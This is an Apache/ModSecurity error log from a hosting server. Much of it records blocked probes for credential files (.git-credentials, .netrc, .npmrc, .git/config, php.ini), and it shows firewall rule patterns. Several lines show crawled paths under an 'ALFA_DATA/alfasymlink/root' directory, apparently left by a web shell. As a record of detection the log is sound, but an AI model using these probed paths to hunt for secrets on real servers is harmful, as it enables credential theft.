[Sun Oct 25 00:28:20.127775 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45690] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at2FZGQyb15Iqx39xvm2PQAAAC4"]
[Sun Oct 25 00:28:20.128029 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at2FZGQyb15Iqx39xvm2PQAAAC4"]
[Sun Oct 25 00:28:20.128289 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config~"] [unique_id "at2FZGQyb15Iqx39xvm2PQAAAC4"]
[Sun Oct 25 00:28:20.186308 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45702] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2FZMmYnImk6kHi8hyMZwAAADA"]
[Sun Oct 25 00:28:20.186493 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45702] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2FZMmYnImk6kHi8hyMZwAAADA"]
[Sun Oct 25 00:28:20.186747 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45702] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2FZMmYnImk6kHi8hyMZwAAADA"]
[Sun Oct 25 00:28:20.187101 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45702] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2FZMmYnImk6kHi8hyMZwAAADA"]
[Sun Oct 25 00:28:20.187513 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45702] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2FZMmYnImk6kHi8hyMZwAAADA"]
[Sun Oct 25 00:28:20.246787 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45706] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.git-credentials.bak"] [unique_id "at2FZNsOgdpl1YJRCNQViwAAAEU"]
[Sun Oct 25 00:28:20.307641 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45720] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.gitconfig.bak"] [unique_id "at2FZGnoVolia533WIkgxgAAADQ"]
[Sun Oct 25 00:28:20.368673 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45724] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.netrc.bak"] [unique_id "at2FZJnH_N6a0offkOBE1AAAACg"]
[Sun Oct 25 00:28:20.428970 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45738] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/_netrc.bak"] [unique_id "at2FZGTNY6y0aXZ6joCapQAAADk"]
[Sun Oct 25 00:28:20.429171 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45738] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "agent.sherwinpinturas.com"] [uri "/_netrc.bak"] [unique_id "at2FZGTNY6y0aXZ6joCapQAAADk"]
[Sun Oct 25 00:28:20.429690 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/_netrc.bak"] [unique_id "at2FZGTNY6y0aXZ6joCapQAAADk"]
[Sun Oct 25 00:28:20.430082 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/_netrc.bak"] [unique_id "at2FZGTNY6y0aXZ6joCapQAAADk"]
[Sun Oct 25 00:28:20.487414 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45746] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.npmrc.bak"] [unique_id "at2FZFTnwNJm6o1fQZIgDAAAAAI"]
[Sun Oct 25 00:28:20.545761 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45758] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.npmrc.old"] [unique_id "at2FZLCux6YzXC46yX1OUwAAACY"]
[Sun Oct 25 00:28:20.606349 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45770] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/npmrc"] [unique_id "at2FZBzh2uHYztX7tG5lggAAADw"]
[Sun Oct 25 00:28:20.667281 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45782] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.yarnrc.yml"] [unique_id "at2FZDuLxR3FUbX6v9XEIQAAAAc"]
[Sun Oct 25 00:28:26.847772 2026] [authz_core:error] [pid 2759074:tid 2759074] [client 35.195.169.16:40588] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:28:32.721641 2026] [core:error] [pid 2762145:tid 2762145] [client 34.77.103.149:49296] AH00135: Invalid method in request DNIH / HTTP/1.1
[Sun Oct 25 00:28:37.642207 2026] [authz_core:error] [pid 2762199:tid 2762199] [client 34.77.103.149:21628] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:28:38.823650 2026] [authz_core:error] [pid 2762190:tid 2762190] [client 34.77.103.149:21652] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:28:54.156704 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.225.138.57:61079] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:28:58.137639 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.0.63.151:43660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:29:02.136044 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 3.220.148.166:34260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:29:06.251783 2026] [ssl:error] [pid 2762145:tid 2762145] (5)Input/output error: [client 23.23.180.225:17864] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:29:26.158208 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.83.23.103:9696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:29:45.054082 2026] [security2:error] [pid 2762188:tid 2762188] [client 43.161.234.148:55678] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at2FuWQyb15Iqx39xvm2QgAAAC4"], referer: http://sherwinpinturas.com
[Sun Oct 25 00:29:45.066708 2026] [authz_core:error] [pid 2762188:tid 2762188] [client 43.161.234.148:55678] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 00:29:50.214019 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 35.169.119.108:59246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:29:58.144876 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 54.225.181.161:61383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:30:02.137825 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 98.82.107.102:21701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:30:14.128723 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 23.21.119.232:16664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/piix4_smbus/new_id
[Sun Oct 25 00:30:18.132894 2026] [security2:error] [pid 2762183:tid 2762183] [client 107.20.255.194:6579] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/msi_irqs/"] [unique_id "at2F2pnH_N6a0offkOBE2gAAACg"]
[Sun Oct 25 00:30:18.132948 2026] [security2:error] [pid 2762183:tid 2762183] [client 107.20.255.194:6579] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/msi_irqs/"] [unique_id "at2F2pnH_N6a0offkOBE2gAAACg"]
[Sun Oct 25 00:30:22.130327 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 100.29.63.24:30345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:30:26.145890 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 98.83.226.125:20939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:30:34.119417 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.84.93.8:57305] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:30:38.127424 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.84.169.196:32720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:30:42.699314 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 85.208.96.198:12380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/remote_node_defrag_ratio
[Sun Oct 25 00:30:50.146881 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 3.229.2.217:9827] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:05.0/firmware_node/eject
[Sun Oct 25 00:30:58.378136 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 34.235.239.240:39276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/pvpanic/uevent
[Sun Oct 25 00:31:18.196657 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.71.46.142:51986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:31:26.162901 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 44.207.69.106:28935] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:31:30.157782 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.83.240.58:48873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:31:31.588902 2026] [security2:error] [pid 2762149:tid 2762149] [client 43.156.79.172:48224] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at2GIzuLxR3FUbX6v9XEKQAAAAc"]
[Sun Oct 25 00:31:31.589941 2026] [authz_core:error] [pid 2762149:tid 2762149] [client 43.156.79.172:48224] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:31:50.120100 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 54.91.122.193:44114] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:31:58.691533 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 185.191.171.14:24644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/cpu_partial
[Sun Oct 25 00:32:06.142923 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.225.9.97:5054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:32:10.100923 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 34.205.163.103:22433] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:32:14.123531 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 54.88.84.219:1816] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:32:18.123514 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 54.210.152.179:32653] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:32:22.170618 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.218.35.239:45637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:32:30.131735 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 52.23.112.144:7086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/memory/memory6/node0/cpu1/subsystem/drivers/processor/unbind
[Sun Oct 25 00:32:38.333895 2026] [security2:error] [pid 2762145:tid 2762145] [client 43.165.174.53:59222] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/Norma"] [unique_id "at2GZlTnwNJm6o1fQZIgFwAAAAI"]
[Sun Oct 25 00:32:42.193449 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 23.23.99.55:59729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:33:04.464142 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 185.191.171.4:36110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/remote_node_defrag_ratio
[Sun Oct 25 00:33:06.148684 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.82.40.168:8955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:33:18.205186 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 100.29.128.75:29581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:33:22.192357 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 18.209.201.119:28309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:33:30.162793 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 44.213.202.136:60036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/memory22/subsystem/uevent
[Sun Oct 25 00:33:38.416118 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 18.213.27.222:62525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:33:46.171319 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.4.238.8:47435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:33:58.201434 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.86.59.155:31788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:34:26.212470 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.70.209.13:63009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:34:38.267597 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 98.82.39.241:33701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:34:46.308622 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 184.73.167.217:45503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:34:58.304428 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 52.204.71.8:45040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/irq
